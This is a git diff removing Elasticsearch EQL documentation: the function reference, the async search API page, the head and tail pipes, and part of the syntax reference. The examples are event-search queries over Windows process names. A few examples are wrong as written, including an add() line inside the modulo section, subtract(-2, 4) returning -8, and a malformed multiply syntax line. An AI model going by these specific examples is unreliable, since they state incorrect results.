-`<source>`::
-+
---
-(Required, string or `null`)
-Source string. Empty strings return an empty string (`""`), regardless of the
-`<left>` or `<right>` parameters. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<left>`::
-+
---
-(Required, string)
-Text to the left of the substring to extract. This text should include
-whitespace.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<right>`::
-+
---
-(Required, string)
-Text to the right of the substring to extract. This text should include
-whitespace.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<greedy_matching>`::
-(Optional, Boolean)
-If `true`, match the longest possible substring, similar to `.*` in regular
-expressions. If `false`, match the shortest possible substring, similar to `.*?`
-in regular expressions. Defaults to `false`.
-
-*Returns:* string or `null`
-
-[discrete]
-[[eql-fn-cidrmatch]]
-=== `cidrMatch`
-
-Returns `true` if an IP address is contained in one or more provided
-{wikipedia}/Classless_Inter-Domain_Routing[CIDR] blocks.
-
-*Example*
-
-[source,eql]
-----
-// source.address = "192.168.152.12"
-cidrMatch(source.address, "192.168.0.0/16")               // returns true
-cidrMatch(source.address, "192.168.0.0/16", "10.0.0.0/8") // returns true
-cidrMatch(source.address, "10.0.0.0/8")                   // returns false
-cidrMatch(source.address, "10.0.0.0/8", "10.128.0.0/9")   // returns false
-
-// null handling
-cidrMatch(null, "10.0.0.0/8")                             // returns null
-cidrMatch(source.address, null)                           // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-`cidrMatch(<ip_address>, <cidr_block>[, ...])`
-----
-
-*Parameters*
-
-`<ip_address>`::
-(Required, string or `null`)
-IP address. Supports
-{wikipedia}/IPv4[IPv4] and
-{wikipedia}/IPv6[IPv6] addresses. If `null`, the function
-returns `null`.
-+
-If using a field as the argument, this parameter supports only the <<ip,`ip`>>
-field data type.
-
-`<cidr_block>`::
-(Required{multi-arg}, string or `null`)
-CIDR block you wish to search. If `null`, the function returns `null`.
-
-*Returns:* boolean or `null`
-
-[discrete]
-[[eql-fn-concat]]
-=== `concat`
-
-Returns a concatenated string of provided values.
-
-*Example*
-[source,eql]
-----
-concat("process is ", "regsvr32.exe")         // returns "process is regsvr32.exe"
-concat("regsvr32.exe", " ", 42)               // returns "regsvr32.exe 42"
-concat("regsvr32.exe", " ", 42.5)             // returns "regsvr32.exe 42.5"
-concat("regsvr32.exe", " ", true)             // returns "regsvr32.exe true"
-concat("regsvr32.exe")                        // returns "regsvr32.exe"
-
-// process.name = "regsvr32.exe"
-concat(process.name, " ", 42)                 // returns "regsvr32.exe 42"
-concat(process.name, " ", 42.5)               // returns "regsvr32.exe 42.5"
-concat("process is ", process.name)           // returns "process is regsvr32.exe"
-concat(process.name, " ", true)               // returns "regsvr32.exe true"
-concat(process.name)                          // returns "regsvr32.exe"
-
-// process.arg_count = 4
-concat(process.name, " ", process.arg_count)  // returns "regsvr32.exe 4"
-
-// null handling
-concat(null, "regsvr32.exe")                  // returns null
-concat(process.name, null)                    // returns null
-concat(null)                                  // returns null 
-----
-
-*Syntax*
-[source,txt]
-----
-concat(<value>[, <value>])
-----
-
-*Parameters*
-
-`<value>`::
-(Required{multi-arg-ref})
-Value to concatenate. If any of the arguments are `null`, the function returns `null`.
-+
-If using a field as the argument, this parameter does not support the
-<<text,`text`>> field data type.
-
-*Returns:* string or `null`
-
-[discrete]
-[[eql-fn-divide]]
-=== `divide`
-Returns the quotient of a provided dividend and divisor.
-
-[[eql-divide-fn-float-rounding]]
-[WARNING]
-====
-If both the dividend and divisor are integers, the `divide` function _rounds
-down_ any returned floating point numbers to the nearest integer. To avoid
-rounding, convert either the dividend or divisor to a float.
-
-[%collapsible]
-.**Example**
-=====
-The `process.args_count` field is a <<number,`long`>> integer field containing a
-count of process arguments.
-
-A user might expect the following EQL query to only match events with a
-`process.args_count` value of `4`.
-
-[source,eql]
-----
-process where divide(4, process.args_count) == 1
-----
-
-However, the EQL query matches events with a `process.args_count` value of `3`
-or `4`.
-
-For events with a `process.args_count` value of `3`, the `divide` function
-returns a floating point number of `1.333...`, which is rounded down to `1`.
-
-To match only events with a `process.args_count` value of `4`, convert
-either the dividend or divisor to a float.
-
-The following EQL query changes the integer `4` to the equivalent float `4.0`.
-
-[source,eql]
-----
-process where divide(4.0, process.args_count) == 1
-----
-=====
-====
-
-*Example*
-[source,eql]
-----
-divide(4, 2)                                            // returns 2
-divide(4, 3)                                            // returns 1
-divide(4, 3.0)                                          // returns 1.333...
-divide(4, 0.5)                                          // returns 8
-divide(0.5, 4)                                          // returns 0.125
-divide(0.5, 0.25)                                       // returns 2.0
-divide(4, -2)                                           // returns -2
-divide(-4, -2)                                          // returns 2
-
-// process.args_count = 4
-divide(process.args_count, 2)                           // returns 2
-divide(process.args_count, 3)                           // returns 1
-divide(process.args_count, 3.0)                         // returns 1.333...
-divide(12, process.args_count)                          // returns 3
-divide(process.args_count, 0.5)                         // returns 8
-divide(0.5, process.args_count)                         // returns 0.125
-
-// process.parent.args_count = 2
-divide(process.args_count, process.parent.args_count)   // returns 2
-
-// null handling
-divide(null, 4)                                         // returns null
-divide(4, null)                                         // returns null
-divide(null, process.args_count)                        // returns null
-divide(process.args_count, null)                        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-divide(<dividend>, <divisor>)
-----
-
-*Parameters*
-
-`<dividend>`::
-(Required, integer or float or `null`)
-Dividend to divide. If `null`, the function returns `null`.
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-`<divisor>`::
-(Required, integer or float or `null`)
-Divisor to divide by. If `null`, the function returns `null`. This value cannot
-be zero (`0`).
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-*Returns:* integer, float, or null
-
-[discrete]
-[[eql-fn-endswith]]
-=== `endsWith`
-
-Returns `true` if a source string ends with a provided substring. Matching is
-case-sensitive.
-
-*Example*
-[source,eql]
-----
-endsWith("regsvr32.exe", ".exe")          // returns true
-endsWith("regsvr32.exe", ".dll")          // returns false
-endsWith("", "")                          // returns true
-
-// file.name = "regsvr32.exe"
-endsWith(file.name, ".exe")               // returns true
-endsWith(file.name, ".dll")               // returns false
-
-// file.extension = ".exe"
-endsWith("regsvr32.exe", file.extension)  // returns true
-endsWith("ntdll.dll", file.name)          // returns false
-
-// null handling
-endsWith("regsvr32.exe", null)            // returns null
-endsWith("", null)                        // returns null
-endsWith(null, ".exe")                    // returns null
-endsWith(null, null)                      // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-endsWith(<source>, <substring>)
-----
-
-*Parameters*
-
-`<source>`::
-+
---
-(Required, string or `null`)
-Source string. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<substring>`::
-+
---
-(Required, string or `null`)
-Substring to search for. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-*Returns:* boolean or `null`
-
-[discrete]
-[[eql-fn-indexof]]
-=== `indexOf`
-
-Returns the first position of a provided substring in a source string. Matching
-is case-sensitive.
-
-If an optional start position is provided, this function returns the first
-occurrence of the substring at or after the start position.
-
-*Example*
-[source,eql]
-----
-// url.domain = "subdomain.example.com"
-indexOf(url.domain, ".")        // returns 9
-indexOf(url.domain, ".", 9)     // returns 9
-indexOf(url.domain, ".", 10)    // returns 17
-indexOf(url.domain, ".", -6)    // returns 9
-
-// empty strings
-indexOf("", "")                 // returns 0
-indexOf(url.domain, "")         // returns 0
-indexOf(url.domain, "", 9)      // returns 9
-indexOf(url.domain, "", 10)     // returns 10
-indexOf(url.domain, "", -6)     // returns 0
-
-// missing substrings
-indexOf(url.domain, "z")        // returns null
-indexOf(url.domain, "z", 9)     // returns null
-
-// start position is higher than string length
-indexOf(url.domain, ".", 30)    // returns null
-
-// null handling
-indexOf(null, ".", 9)           // returns null
-indexOf(url.domain, null, 9)    // returns null
-indexOf(url.domain, ".", null)  // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-indexOf(<source>, <substring>[, <start_pos>])
-----
-
-*Parameters*
-
-`<source>`::
-+
---
-(Required, string or `null`)
-Source string. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<substring>`::
-+
---
-(Required, string or `null`)
-Substring to search for.
-
-If this argument is `null` or the `<source>` string does not contain this
-substring, the function returns `null`.
-
-If the `<start_pos>` is positive, empty strings (`""`) return the `<start_pos>`.
-Otherwise, empty strings return `0`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<start_pos>`::
-+
---
-(Optional, integer or `null`)
-Starting position for matching. The function will not return positions before
-this one. Defaults to `0`.
-
-Positions are zero-indexed. Negative offsets are treated as `0`.
-
-If this argument is `null` or higher than the length of the `<source>` string,
-the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-<<number,numeric>> field data types:
-
-* `long`
-* `integer`
-* `short`
-* `byte`
---
-
-*Returns:* integer or `null`
-
-[discrete]
-[[eql-fn-length]]
-=== `length`
-
-Returns the character length of a provided string, including whitespace and
-punctuation.
-
-*Example*
-[source,eql]
-----
-length("explorer.exe")         // returns 12
-length("start explorer.exe")   // returns 18
-length("")                     // returns 0
-length(null)                   // returns null
-
-// process.name = "regsvr32.exe"
-length(process.name)           // returns 12
-----
-
-*Syntax*
-[source,txt]
-----
-length(<string>)
-----
-
-*Parameters*
-
-`<string>`::
-+
---
-(Required, string or `null`)
-String for which to return the character length. If `null`, the function returns
-`null`. Empty strings return `0`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-*Returns:* integer or `null`
-
-[discrete]
-[[eql-fn-modulo]]
-=== `modulo`
-Returns the remainder of the division of a provided dividend and divisor.
-
-*Example*
-[source,eql]
-----
-modulo(10, 6)                                       // returns 4
-modulo(10, 5)                                       // returns 0
-modulo(10, 0.5)                                     // returns 0
-modulo(10, -6)                                      // returns 4
-modulo(-10, -6)                                     // returns -4
-
-// process.args_count = 10
-modulo(process.args_count, 6)                       // returns 4
-modulo(process.args_count, 5)                       // returns 0
-modulo(106, process.args_count)                     // returns 6
-modulo(process.args_count, -6)                      // returns 4
-modulo(process.args_count, 0.5)                     // returns 0
-
-// process.parent.args_count = 6
-add(process.args_count, process.parent.args_count)  // returns 4
-
-// null handling
-modulo(null, 5)                                     // returns null
-modulo(7, null)                                     // returns null
-modulo(null, process.args_count)                    // returns null
-modulo(process.args_count, null)                    // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-modulo(<dividend>, <divisor>)
-----
-
-*Parameters*
-
-`<dividend>`::
-(Required, integer or float or `null`)
-Dividend to divide. If `null`, the function returns `null`. Floating point
-numbers return `0`.
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-`<divisor>`::
-(Required, integer or float or `null`)
-Divisor to divide by. If `null`, the function returns `null`. Floating point
-numbers return `0`. This value cannot be zero (`0`).
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-*Returns:* integer, float, or `null`
-
-[discrete]
-[[eql-fn-multiply]]
-=== `multiply`
-
-Returns the product of two provided factors.
-
-*Example*
-[source,eql]
-----
-multiply(2, 2)                                           // returns 4
-multiply(0.5, 2)                                         // returns 1
-multiply(0.25, 2)                                        // returns 0.5
-multiply(-2, 2)                                          // returns -4
-multiply(-2, -2)                                         // returns 4
-
-// process.args_count = 2
-multiply(process.args_count, 2)                          // returns 4
-multiply(0.5, process.args_count)                        // returns 1
-multiply(0.25, process.args_count)                       // returns 0.5
-
-// process.parent.args_count = 3
-multiply(process.args_count, process.parent.args_count)  // returns 6
-
-// null handling
-multiply(null, 2)                                        // returns null
-multiply(2, null)                                        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-multiply(<factor, <factor>)
-----
-
-*Parameters*
-
-`<factor>`::
-+
---
-(Required, integer or float or `null`)
-Factor to multiply.  If `null`, the function returns `null`.
-
-Two factors are required. No more than two factors can be provided.
-
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
---
-
-*Returns:* integer, float, or `null`
-
-[discrete]
-[[eql-fn-number]]
-=== `number`
-
-Converts a string to the corresponding integer or float.
-
-*Example*
-[source,eql]
-----
-number("1337")              // returns 1337
-number("42.5")              // returns 42.5
-number("deadbeef", 16)      // returns 3735928559
-
-// integer literals beginning with "0x" are auto-detected as hexadecimal
-number("0xdeadbeef")        // returns 3735928559
-number("0xdeadbeef", 16)    // returns 3735928559
-
-// "+" and "-" are supported
-number("+1337")             // returns 1337
-number("-1337")             // returns -1337
-
-// surrounding whitespace is ignored
-number("  1337  ")          // returns 1337
-
-// process.pid = "1337"
-number(process.pid)         // returns 1337
-
-// null handling
-number(null)                // returns null
-number(null, 16)            // returns null
-
-// strings beginning with "0x" are treated as hexadecimal (base 16),
-// even if the <base_num> is explicitly null.
-number("0xdeadbeef", null) // returns 3735928559
-
-// otherwise, strings are treated as decimal (base 10)
-// if the <base_num> is explicitly null.
-number("1337", null)        // returns 1337
-----
-
-*Syntax*
-[source,txt]
-----
-number(<string>[, <base_num>])
-----
-
-*Parameters*
-
-`<string>`::
-+
---
-(Required, string or `null`)
-String to convert to an integer or float. If this value is a string, it must be
-one of the following:
-
-* A string representation of an integer (e.g., `"42"`)
-* A string representation of a float (e.g., `"9.5"`)
-* If the `<base_num>` parameter is specified, a string containing an integer
-  literal in the base notation (e.g., `"0xDECAFBAD"` in hexadecimal or base
-  `16`)
-
-Strings that begin with `0x` are auto-detected as hexadecimal and use a default
-`<base_num>` of `16`.
-
-`-` and `+` are supported with no space between. Surrounding whitespace is
-ignored. Empty strings (`""`) are not supported.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
-
-If this argument is `null`, the function returns `null`.
---
-
-`<base_num>`::
-+
---
-(Optional, integer or `null`)
-Radix or base used to convert the string. If the `<string>` begins with `0x`,
-this parameter defaults to `16` (hexadecimal). Otherwise, it defaults to base
-`10`.
-
-If this argument is explicitly `null`, the default value is used.
-
-Fields are not supported as arguments.
---
-
-*Returns:* integer or float or `null`
-
-[discrete]
-[[eql-fn-startswith]]
-=== `startsWith`
-
-Returns `true` if a source string begins with a provided substring. Matching is
-case-sensitive.
-
-*Example*
-[source,eql]
-----
-startsWith("regsvr32.exe", "regsvr32")  // returns true
-startsWith("regsvr32.exe", "explorer")  // returns false
-startsWith("", "")                      // returns true
-
-// process.name = "regsvr32.exe"
-startsWith(process.name, "regsvr32")    // returns true
-startsWith(process.name, "explorer")    // returns false
-
-// process.name = "regsvr32"
-startsWith("regsvr32.exe", process.name) // returns true
-startsWith("explorer.exe", process.name) // returns false
-
-// null handling
-startsWith("regsvr32.exe", null)        // returns null
-startsWith("", null)                    // returns null
-startsWith(null, "regsvr32")            // returns null
-startsWith(null, null)                  // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-startsWith(<source>, <substring>)
-----
-
-*Parameters*
-
-`<source>`::
-+
---
-(Required, string or `null`)
-Source string. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<substring>`::
-+
---
-(Required, string or `null`)
-Substring to search for. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-*Returns:* boolean or `null`
-
-[discrete]
-[[eql-fn-string]]
-=== `string`
-
-Converts a value to a string.
-
-*Example*
-[source,eql]
-----
-string(42)               // returns "42"
-string(42.5)             // returns "42.5"
-string("regsvr32.exe")   // returns "regsvr32.exe"
-string(true)             // returns "true"
-
-// null handling
-string(null)             // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-string(<value>)
-----
-
-*Parameters*
-
-`<value>`::
-(Required)
-Value to convert to a string. If `null`, the function returns `null`.
-+
-If using a field as the argument, this parameter does not support the
-<<text,`text`>> field data type.
-
-*Returns:* string or `null`
-
-[discrete]
-[[eql-fn-stringcontains]]
-=== `stringContains`
-
-Returns `true` if a source string contains a provided substring. Matching is
-case-sensitive.
-
-*Example*
-[source,eql]
-----
-// process.command_line = "start regsvr32.exe"
-stringContains(process.command_line, "regsvr32")  // returns true
-stringContains(process.command_line, "start ")    // returns true
-stringContains(process.command_line, "explorer")  // returns false
-
-// process.name = "regsvr32.exe"
-stringContains(command_line, process.name)        // returns true
-
-// empty strings
-stringContains("", "")                            // returns false
-stringContains(process.command_line, "")          // returns false
-
-// null handling
-stringContains(null, "regsvr32")                  // returns null
-stringContains(process.command_line, null)        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-stringContains(<source>, <substring>)
-----
-
-*Parameters*
-
-`<source>`::
-(Required, string or `null`)
-Source string to search. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
-
-`<substring>`::
-(Required, string or `null`)
-Substring to search for. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
-
-*Returns:* boolean or `null`
-
-[discrete]
-[[eql-fn-substring]]
-=== `substring`
-
-Extracts a substring from a source string at provided start and end positions.
-
-If no end position is provided, the function extracts the remaining string.
-
-*Example*
-[source,eql]
-----
-substring("start regsvr32.exe", 6)        // returns "regsvr32.exe"
-substring("start regsvr32.exe", 0, 5)     // returns "start"
-substring("start regsvr32.exe", 6, 14)    // returns "regsvr32"
-substring("start regsvr32.exe", -4)       // returns ".exe"
-substring("start regsvr32.exe", -4, -1)   // returns ".ex"
-----
-
-*Syntax*
-[source,txt]
-----
-substring(<source>, <start_pos>[, <end_pos>])
-----
-
-*Parameters*
-
-`<source>`::
-(Required, string)
-Source string.
-
-`<start_pos>`::
-+
---
-(Required, integer)
-Starting position for extraction.
-
-If this position is higher than the `<end_pos>` position or the length of the
-`<source>` string, the function returns an empty string.
-
-Positions are zero-indexed. Negative offsets are supported.
---
-
-`<end_pos>`::
-(Optional, integer)
-Exclusive end position for extraction. If this position is not provided, the
-function returns the remaining string.
-+
-Positions are zero-indexed. Negative offsets are supported.
-
-*Returns:* string
-
-[discrete]
-[[eql-fn-subtract]]
-=== `subtract`
-Returns the difference between a provided minuend and subtrahend.
-
-*Example*
-[source,eql]
-----
-subtract(10, 2)                                          // returns 8
-subtract(10.5, 0.5)                                      // returns 10
-subtract(1, 0.2)                                         // returns 0.8
-subtract(-2, 4)                                          // returns -8
-subtract(-2, -4)                                         // returns 8
-
-// process.args_count = 10
-subtract(process.args_count, 6)                          // returns 4
-subtract(process.args_count, 5)                          // returns 5
-subtract(15, process.args_count)                         // returns 5
-subtract(process.args_count, 0.5)                        // returns 9.5
-
-// process.parent.args_count = 6
-subtract(process.args_count, process.parent.args_count)  // returns 4
-
-// null handling
-subtract(null, 2)                                        // returns null
-subtract(2, null)                                        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-subtract(<minuend>, <subtrahend>)
-----
-
-*Parameters*
-
-`<minuend>`::
-(Required, integer or float or `null`)
-Minuend to subtract from.
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-`<subtrahend>`::
-(Optional, integer or float or `null`)
-Subtrahend to subtract. If `null`, the function returns `null`.
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-*Returns:* integer, float, or `null`
-
-[discrete]
-[[eql-fn-wildcard]]
-=== `wildcard`
-
-Returns `true` if a source string matches one or more provided wildcard
-expressions. Matching is case-sensitive.
-
-*Example*
-[source,eql]
-----
-// process.name = "regsvr32.exe"
-wildcard(process.name, "*regsvr32*")                // returns true
-wildcard(process.name, "*regsvr32*", "*explorer*")  // returns true
-wildcard(process.name, "*explorer*")                // returns false
-wildcard(process.name, "*explorer*", "*scrobj*")    // returns false
-
-// empty strings
-wildcard("", "*start*")                             // returns false
-wildcard("", "*")                                   // returns true
-wildcard("", "")                                    // returns true
-
-// null handling
-wildcard(null, "*regsvr32*")                        // returns null
-wildcard(process.name, null)                        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-wildcard(<source>, <wildcard_exp>[, ...])
-----
-
-*Parameters*
-
-`<source>`::
-+
---
-(Required, string)
-Source string. If `null`, the function returns `null`.
-
-If using a field as the argument, this parameter supports only the following
-field data types:
-
-* A type in the <<keyword,`keyword`>> family
-* <<text,`text`>> field with a <<keyword,`keyword`>> sub-field
---
-
-`<wildcard_exp>`::
-+
---
-(Required{multi-arg-ref}, string)
-Wildcard expression used to match the source string. If `null`, the function
-returns `null`. Fields are not supported as arguments.
---
-
-*Returns:* boolean
diff --git a/docs/reference/eql/get-async-eql-search-api.asciidoc b/docs/reference/eql/get-async-eql-search-api.asciidoc
deleted file mode 100644
index 65f88cf7c88..00000000000
--- a/docs/reference/eql/get-async-eql-search-api.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[[get-async-eql-search-api]]
-=== Get async EQL search API
-++++
-<titleabbrev>Get async EQL search</titleabbrev>
-++++
-
-beta::[]
-
-Returns the current status and available results for an <<eql-search-async,async
-EQL search>> or a <<eql-search-store-sync-eql-search,stored synchronous EQL
-search>>.
-
-[source,console]
-----
-GET /_eql/search/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM=
-----
-// TEST[skip: no access to search ID]
-
-[[get-async-eql-search-api-request]]
-==== {api-request-title}
-
-`GET /_eql/search/<search_id>`
-
-[[get-async-eql-search-api-prereqs]]
-==== {api-prereq-title}
-
-See <<eql-required-fields>>.
-
-[[get-async-eql-search-api-limitations]]
-===== Limitations
-
-See <<eql-syntax-limitations,EQL limitations>>.
-
-[[get-async-eql-search-api-path-params]]
-==== {api-path-parms-title}
-
-`<search_id>`::
-(Required, string)
-Identifier for the search.
-+
-A search ID is provided in the <<eql-search-api,EQL search API>>'s response for
-an <<eql-search-async,async search>>. A search ID is also provided if the
-request's <<eql-search-api-keep-on-completion,`keep_on_completion`>> parameter
-is `true`.
-
-[[get-async-eql-search-api-query-params]]
-==== {api-query-parms-title}
-
-`keep_alive`::
-(Optional, <<time-units,time value>>)
-Period for which the search and its results are stored on the cluster. Defaults
-to the `keep_alive` value set by the search's <<eql-search-api,EQL search
-API>> request.
-+
-If specified, this parameter sets a new `keep_alive` period for the search,
-starting when the get async EQL search API request executes. This new period
-overwrites the one specified in the EQL search API request.
-+
-When this period expires, the search and its results are deleted, even if the
-search is ongoing.
-
-`wait_for_completion_timeout`::
-(Optional, <<time-units,time value>>)
-Timeout duration to wait for the request to finish. Defaults to no timeout,
-meaning the request waits for complete search results.
-+
-If this parameter is specified and the request completes during this period,
-complete search results are returned.
-+
-If the request does not complete during this period, the response returns an
-`is_partial` value of `true` and no search results.
-
-[role="child_attributes"]
-[[get-async-eql-search-api-response-body]]
-==== {api-response-body-title}
-
-The async EQL search API returns the same response body as the EQL search API.
-See the EQL search API's <<eql-search-api-response-body,response body
-parameters>>.
\ No newline at end of file
diff --git a/docs/reference/eql/pipes.asciidoc b/docs/reference/eql/pipes.asciidoc
deleted file mode 100644
index 9925f5c4f32..00000000000
--- a/docs/reference/eql/pipes.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[eql-pipe-ref]]
-== EQL pipe reference
-++++
-<titleabbrev>Pipe reference</titleabbrev>
-++++
-
-beta::[]
-
-{es} supports the following <<eql-pipes,EQL pipes>>.
-
-[discrete]
-[[eql-pipe-head]]
-=== `head`
-
-Returns up to a specified number of events or sequences, starting with the
-earliest matches. Works similarly to the
-{wikipedia}/Head_(Unix)[Unix head command].
-
-*Example*
-
-The following EQL query returns up to three of the earliest powershell
-commands.
-
-[source,eql]
-----
-process where process.name == "powershell.exe"
-| head 3
-----
-
-*Syntax*
-[source,txt]
-----
-head <max>
-----
-
-*Parameters*
-
-`<max>`::
-(Required, integer)
-Maximum number of matching events or sequences to return.
-
-[discrete]
-[[eql-pipe-tail]]
-=== `tail`
-
-Returns up to a specified number of events or sequences, starting with the most
-recent matches. Works similarly to the
-{wikipedia}/Tail_(Unix)[Unix tail command].
-
-*Example*
-
-The following EQL query returns up to five of the most recent `svchost.exe`
-processes.
-
-[source,eql]
-----
-process where process.name == "svchost.exe"
-| tail 5
-----
-
-*Syntax*
-[source,txt]
-----
-tail <max>
-----
-
-*Parameters*
-
-`<max>`::
-(Required, integer)
-Maximum number of matching events or sequences to return.
diff --git a/docs/reference/eql/syntax.asciidoc b/docs/reference/eql/syntax.asciidoc
deleted file mode 100644
index 2607f6ae6fd..00000000000
--- a/docs/reference/eql/syntax.asciidoc
+++ /dev/null
@@ -1,972 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[eql-syntax]]
-== EQL syntax reference
-++++
-<titleabbrev>Syntax reference</titleabbrev>
-++++
-
-beta::[]
-
-[discrete]
-[[eql-basic-syntax]]
-=== Basic syntax
-
-EQL queries require an event category and a matching condition. The `where`
-keyword connects them.
-
-[source,eql]
-----
-event_category where condition
-----
-
-For example, the following EQL query matches `process` events with a
-`process.name` field value of `svchost.exe`:
-
-[source,eql]
-----
-process where process.name == "svchost.exe"
-----
-
-[discrete]
-[[eql-syntax-event-categories]]
-=== Event categories
-
-An event category is a valid, indexed value of the
-<<eql-required-fields,event category field>>. You can set the event category
-field using the `event_category_field` parameter of the EQL search API.
-
-[discrete]
-[[eql-syntax-match-any-event-category]]
-=== Match any event category
-
-To match events of any category, use the `any` keyword. You can also use the
-`any` keyword to search for documents without a event category field.
-
-For example, the following EQL query matches any documents with a
-`network.protocol` field value of `http`:
-
-[source,eql]
-----
-any where network.protocol == "http"
-----
-
-[discrete]
-[[eql-syntax-escape-an-event-category]]
-=== Escape an event category
-
-Use enclosing double quotes (`"`) or three enclosing double quotes (`"""`) to
-escape event categories that:
-
-* Contain a special character, such as a hyphen (`-`) or dot (`.`)
-* Contain a space
-* Start with a numeral
-
-[source,eql]
-----
-".my.event.category"
-"my-event-category"
-"my event category"
-"6eventcategory"
-
-""".my.event.category"""
-"""my-event-category"""
-"""my event category"""
-"""6eventcategory"""
-----
-
-[discrete]
-[[eql-syntax-escape-a-field-name]]
-=== Escape a field name
-
-Use enclosing enclosing backticks (+++`+++) to escape field names that:
-
-* Contain a hyphen (`-`)
-* Contain a space
-* Start with a numeral
-
-[source,eql]
-----
-`my-field`
-`my field`
-`6myfield`
-----
-
-Use double backticks (+++``+++) to escape any backticks (+++`+++) in the field
-name.
-
-[source,eql]
-----
-my`field -> `my``field`
-----
-
-[discrete]
-[[eql-syntax-conditions]]
-=== Conditions
-
-A condition consists of one or more criteria an event must match.
-You can specify and combine these criteria using the following operators. Most
-EQL operators are case-sensitive by default.
-
-[discrete]
-[[eql-syntax-comparison-operators]]
-=== Comparison operators
-
-[source,eql]
-----
-<   <=   ==   :   !=   >=   >
-----
-
-`<` (less than)::
-Returns `true` if the value to the left of the operator is less than the value
-to the right. Otherwise returns `false`.
-
-`<=` (less than or equal) ::
-Returns `true` if the value to the left of the operator is less than or equal to
-the value to the right. Otherwise returns `false`.
-
-`==` (equal, case-sensitive)::
-Returns `true` if the values to the left and right of the operator are equal.
-Otherwise returns `false`. For strings, matching is case-sensitive.
-
-`:` (equal, case-insensitive)::
-Returns `true` if strings to the left and right of the operator are equal.
-Otherwise returns `false`. Matching is case-insensitive and can only be used to
-compare strings.
-
-[IMPORTANT]
-====
-Avoid using the `==` or `:` operators to perform exact matching on
-<<text,`text`>> field values.
-
-By default, {es} changes the values of `text` fields as part of <<analysis,
-analysis>>. This can make finding exact matches for `text` field values
-difficult.
-
-To search `text` fields, consider using a <<eql-search-filter-query-dsl,query
-DSL filter>> that contains a <<query-dsl-match-query,`match`>> query.
-====
-
-`!=` (not equal, case-sensitive)::
-Returns `true` if the values to the left and right of the operator are not
-equal. Otherwise returns `false`. For strings, matching is case-sensitive.
-
-`>=` (greater than or equal) ::
-Returns `true` if the value to the left of the operator is greater than or equal
-to the value to the right. Otherwise returns `false`. When comparing strings,
-the operator uses a case-sensitive lexicographic order.
-
-`>` (greater than)::
-Returns `true` if the value to the left of the operator is greater than the
-value to the right. Otherwise returns `false`. When comparing strings,
-the operator uses a case-sensitive lexicographic order.
-
-NOTE: `=` is not supported as an equal operator. Use `==` or `:` instead.
-
-You cannot chain comparison operators. Instead, use a
-<<eql-syntax-logical-operators,logical operator>> between comparisons. For
-example, `foo < bar <= baz` is not supported. However, you can rewrite the
-expression as `foo < bar and bar <= baz`, which is supported.
-
-You also cannot use comparison operators to compare a field to another field.
